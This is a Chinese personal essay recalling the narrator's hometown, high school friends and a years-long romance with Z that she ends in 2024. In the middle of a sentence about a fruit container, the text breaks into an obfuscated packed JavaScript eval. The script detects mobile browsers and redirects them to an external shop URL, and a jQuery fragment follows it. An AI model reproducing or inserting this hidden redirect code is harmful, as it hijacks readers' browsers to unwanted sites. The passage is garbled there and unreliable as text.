这几年老家变化挺大的。
有一次坐车路过Y中，险些没认出来，周边繁华热闹，矗立许多未曾见过的高楼，城南公园树木葱茏，记忆里那么崭新漂亮的Y中，也旧了黯淡了。
市区也变了好多，我们一起做过涂色娃娃的广场，曾经夜晚明灯如昼，如今萧条无比。
附近开了新的广场，有了新的商圈，现在回老家跟朋友见面，基本都会约在新广场碰头。
那旁边有个缺少红绿灯的十字路口，记得以前有一次，我们被密集的车流困在路边，始终没办法过去，Z好失望，不明白为什么会有这样麻烦又难走的路。
Z说：“要不是在这里遇见你，我对这个城市一点喜欢也不会有。”
我安慰：“没事啦，你考完试就可以回上海了。”
马路对面当时是一家茶餐厅，墨绿色调的装修。
在我的记忆里，我第一次对Z生气就在这个路口，Z走路一快，我就会跟得很吃力，我牵Z的手，一次次被躲开。
我不明白，刚刚还好好的，为什么忽然要变成这样，我第一次感受到委屈，对Z生气：“为什么不让我牵你的手？干嘛躲我？你把我的手甩开好多次了，我真的要生气了！”
Z一脸难办痛苦，说：“……你贴我太近了。”
那时候是夏天，光站在路边人就生燥，我理直气壮：“近又怎么了呢！”
Z不停闭眼换气，好像要发火的样子，但最后只是低声说：“……我起反应了，暂时先不牵了好吗？”
好像头顶一道惊雷把刚刚的委屈和生气都炸得干干净净，我呆住，觉得不可能，我什么也没干。
我不懂，也不能不管，问：“那现在是不是要处理一下？”
Z说：“你往哪儿看！”然后语无伦次，“什么处理，你别管我，也不要乱看。”
我只好把关心情况的视线挪开，也很犯难：“那我们两个就这样一直傻傻的待在大马路上啊？”
最后Z拉着我穿过那个缺少红路灯的路口，进了那家茶餐厅，点了冰饮和一些小食，找了角落的位置坐下来，挨时间。
东西很一般，后面再也没来过。
也可能是因此倒闭。
那家店的位置，理论上来说，是很好的，后面数年，变更多次，无论西餐还是火锅，都开不长，上大学之后，几乎每次路过，都会更换新的店头。
去年回去，陪爸爸去医院拿药，路过那里，店牌红红火火，换成了“赵一鸣”。
不太想买零食，但现在那条路已经好走了，红绿灯把行人车辆分得井然有序，我轻松走过那个曾经困住我和Z的路口，进去逛了逛，不好意思空手出来，买了一点海苔卷和柠檬茶。
毕业这么多年，路过很多次，但没有回过Y中，回想离Y中最近的一次，应该是二二年冬天。
Z回老家看望爷爷，故意绕路，车子开到Y中南门，特殊原因学校早早放假封校了，我们也没有进去。
Z把车开得很慢，我坐在副驾朝外看。
我们走过无数次的小南门；我住过的女宿楼；放过烟花的校墙外道；基建还是差，行道树当年就枯死一株广玉兰，至今居然还是无人补栽。
我们在暴雨天大吵一架的文具店，还在开，门口的老板也没变；那家炸鸡店倒闭了，以前我们班的男生喜欢在二楼的小包厢约王者开黑。
这个游戏，我高三才开始玩，当时周六日经常五排的组合是三男两女，人也比较固定，我，Z，阿宠，六六，第五个就随机拉班里一个男生补位，也拉过六六别班的男朋友。
阿宠是我在班里玩得最好的男生，大学我们还考上同一所，他跟Z不一样，活泼讨喜，堪称我们班的“少女之友”。
分科后，阿宠转来我们班。
在中二的年纪，学生难免要聊一些中二的事，比如谁漂亮，哪个班的女生最漂亮。
我们班跟学生打成一片的代课老师开过玩笑，说喜欢来我们上课，一进我们班就看到好多小美女，这个大眼睛，这个气质好，那个皮肤白，哎呀，你们这些小姑娘不要瞎打扮，你们现在这个样子就是最好看的。
“气质好”的就是六六。
高一结束后，固定了座位，我们班形成左右两组双人座，中间一组单人桌的格局。
我坐中间第三个，六六是我的后座，阿宠是六六的后座，Z在阿宠过道旁边。
翻高中相册的时候，翻到我和六六的自拍，我举手机，六六鼓嘴笑，阿宠在后面跟男生打闹，Z在旁边没有什么表情。
照片里，每个人桌上都放着一听可乐或雪碧。
那是高三下，某次我们班月考特别好，班主任自掏腰包，让男生去食堂超市拖回来的，好像每个人还有一包薯片，还奖励晚自习播放一部恐怖片《釜山行》，是班里女生投票选出来的。
那晚我一直趴在桌上，把耳机音乐开大。
下晚自习，Z问我是不是不舒服，我说我只是不敢看，但其他人喜欢，我也不想反对。
高中时，阿宠和六六是前后桌，是游戏搭子，会在六六被伤害的时候，大骂六六的男朋友是渣男。
上大学后，渣男更渣了，什么只是异地恋太寂寞才不小心犯错这种鬼话也说得出口。
大一我和六六联系还比较多，她因为感情问题状态很差，她考去浙江，跟我同校的阿宠也经常打电话安慰她。
后面她跟渣男分手了，大家各自有新的校园生活，联系也慢慢减少。
大二某次，Z又来我的大学找我，喊阿宠出来一起吃饭，我惊觉，他什么时候跟六六那么好了，出来吃饭也要报备，晚上回去还要打视频。
他们之间好像就差戳破一层窗户纸了。
这层窗户纸，最后有没有戳破，我也无从得知。
我不太关注朋友圈，如果别人不来找我，我也不会去主动八卦打听。
据说我们班有一个八卦小群，我也没看见过，真有人来拉我，我应该也会拒绝，不喜欢说人是非，也不想听。
等我再听到有关阿宠的消息时，已经大学毕业，Z说他在谈恋爱，对象也是我们高中班上的。
我不意外，他跟六六如果大二在一起，到现在也算情感稳定了。
Z说出人名，不是六六，是那个“皮肤白”。
我好长时间反应不过来，阿宠虽然是我们班的“少女之友”，但不是每个女生他都玩得好，如果以阿宠和我们班每个女生的友情值列表，他的对象绝对是倒数。
因为高中她一心扑在“篮球哥”身上，往球场跑，往楼下跑，好像拿着校园暗恋剧本在满学校求偶遇，她心思根本不在我们班里，连我能跟她多聊几句，也是托我跟“篮球哥”是熟人。
我是暗恋文里的助攻啊。
我记得有一年春夏，天暗得很迟，那阵子很流行在晚自习开始之前在操场散散步，我还约过“篮球哥”一起散步，聊聊初中情谊，然后按计划，小莓和我偶遇，我来介绍：“这是我们班小莓，好巧，一起啊，刚好小莓想去你们那边补课，你给她讲讲。”
篮球哥问我，你上次也问了补课的事，怎么没来？
我表示抱歉，说男朋友，没办法，他去哪儿补我就得去哪儿补啊，我们周末得在一块。但是我觉得我们这边很一般，还是让小莓了解一下你们那边的情况吧。
然后过一会儿，我以“舞蹈队训练的音响疑似没有拿回来，我得去确认一下”离开现场。
当天晚自习，换了座位，小莓一直在我旁边说“篮球哥”，反复跟我确认：“你觉得我跟他配吗？”
我说，配配配，绝配。
果然，玛丽苏小说都是骗人的，去他的暗恋成真吧。
我问Z是怎么知道阿宠和小莓的事，他也不是那种喜欢八卦的人，Z说，是阿宠来问他借钱，他总要问一下借钱干嘛。
“所以是要干嘛？”
“好像是他对象喜欢奢侈品，要过生日了，大家都刚毕业赚不到什么钱，住到一起了，经济紧张。”
我还在为六六唏嘘，不知道为什么对阿宠的印象忽然变得好差，小声说：“怪女人，没钱就找一个不喜欢奢侈品的不就好了，最讨厌你们男的打肿脸充胖子又要甩锅给女生。”
Z很无辜：“什么你们，我没有吧？”
当时故意为难他，问：“那你借了吗？”
“借了，他们两个在上海也挺难的。”
“扣分！帮助我讨厌的男的。”
Z停了车，立马解释：“不帮了，也不借了，以后什么事都让你先批准行吗？别生气，再说了，怎么就是‘你讨厌的男的’，你以前跟阿宠关系不是很好？”
“男人是会变的，变着变着，我就不喜欢了。”
Z受不了，说：“你别看着我说这种话，你是我老婆。”
我受不了，说：“你也别说这种话！没结婚！”
Z揽着我的肩膀，进了学校附近最大的一家商超，说“马上就要结了，提前喊一下怎么了”。
那时候的快乐半分不假，我们都以为我们很快就会结婚，两边家庭也默认我们毕业就会结婚，那天去看望他爷爷就是正式见家长的前奏。
Z是故意开到这家商超来的。
因为以前我们经常去这家商超二楼挑水果，Z还在这里买过一个配小叉的保鲜盒。
我中午回去吃饭午休，再来班里，那只保鲜盒就放会在我的桌子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17805578|210703||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
下面，小番茄去蒂，橙子切半圆，奇异果和火龙果切方块，摆得整整齐齐。
我有起床气，刚睡醒不喜欢跟人讲话，到班里，就坐在自己位置上吃水果，等吃到不想吃了，就把保鲜盒给Z，让他带回去。
有一次，我低头叉水果，发现班主任忽然把脑袋凑过来，说：“你怎么每天吃水果还要这么多花样啊，皮都剥好了，生怕你累一下，家里人对你这么上心，更要好好读书知不知道？”
我说“知道”，六六和阿宠就起哄看着Z，学我说“知道～”
二二年再进这家商超当然不是为了买水果，Z临时起意，来我家接我去看望他爷爷，我爸爸塞给我一大笔钱，还好是冬天，口袋大，不然根本塞不下去，我爸也没告诉我具体买什么，就说买点好的东西带过去。
我还没有单独拜访过长辈，也没有任何送礼的经验，当时就想打电话去问我爸爸，Z说不用，他知道买什么，他来买，待会儿就说是我买的。
我说可以由他选，但必须我来付钱，从大衣口袋里掏出一沓现金，举给Z看，出门时我爸爸塞给我的，我说把这些花掉，是我爸爸给我的任务，我要完成。
买好东西，我们又再次路过Y中，这次Z没有减速，红砖道一闪而过。
我们路过一家婚宴酒店，读高中时，那里开的是一家装修公司，我和Z补数学课要从那儿路过，门口经常停一辆白色的轿车。
太早恋爱，以至于我小瞧了恋爱，我以为爱情只要克服外界的反对就好，如同那些我在高中晚自习偷偷看的青春杂志——男主的父母，女主的父母，或者是任何一个有分量的人，跳出来大呼反对，不断破坏，男女主越过重重阻拦，彼此奔赴，终会握紧对方的手，爱情的幸福圆满便迎面朝他们走来。
我才是我爱情之路上最大的障碍。
十七岁时，在周末一起去补课的路上，遇见不认识的车，我问那是豪车吗？Z告诉我那是什么车。
我说挺好看的。
Z穿着校服，少年意气风发，说：“那算什么，我以后会买比那更好的车，我会娶你，我会让你幸福。”
我们不自主开始构想长大后的未来。
那时候，我想到小说里的重重困难，心想，就算有千千万万人来反对都没用，我爸妈也不行，我的人生要由我决定，我要嫁给Z，我也要让Z幸福。
后来的后来，年少的愿景毫不费力一一实现，Z买了更好的车，要跟我结婚，给我幸福；我们家无人反对，每个人都喜欢Z，Z知礼识节，那套我做不来的人情世故，Z好像天生就会，就连七大姑八大姨乍听分手都纷纷来劝复合，要我好好把握。
好像身边每个人都两手抓满花瓣，就等着朝我和Z的头顶撒开欢呼：结婚快乐，永远幸福！
而最终，我站在少女时代梦寐以求的场景里，对Z说：“我不会跟你结婚的，你死了这条心吧。”
后来我想过，如果十七岁的我，站到我面前，她会用怎样的表情看我，失望，不解，愤怒……
我毁了她曾经期待的一切。
我们之间纠葛太多，你的“舍不得”也太多，那天去买礼品，忘了跟你说，不止男人会变，女人也会变的。
我们连最后一次分手也迁延过久，就像垂死之人，再怎么挽救，结局也就是那样了。
从二四年五月拖到八月，尘埃落定。
我们分手后，过了一阵子，我才跟安说，安惊讶你会对我说那么重的话，说Z既然这样说了，那就是彻底结束了，安慰我不要伤心。
我不伤心。
我只是感到茫然般的轻松，又阵阵发冷。
我是一个写小说的人，用语言编织情绪，我很擅长，狠话我自己会说，但分手那么多次，每次我提，最后都分不掉。
甚至我说“我们分手那么多次”这种话，Z都不承认，他说，那是你单方面分的，我根本不想分。
那我就让你想分好了。
我后来很后悔，看你后来发给我的消息，我已经不想跟你在一起了，提的要求是故意为之，你还在努力，希望我给你时间。
尤其是今年，我一遍遍看，想象你当时的心情处境，我愧疚得几乎不能原谅自己。
无论怎样，我都不应该让你觉得你是一个差劲的人。
你很好，我没有遇见过比你更好的男生。
是我太奇怪了。
今年我改变了很多想法。
例如，以前觉得人是靠“我没错”才活得坦荡，现在觉得，一个人要意识到自己的局限，并且永远有局限，即使在那些笃定时刻，也仍在心里留一片“我可能不对”的缓冲带，给自己机会去体谅别人，也给自己机会来修正自己。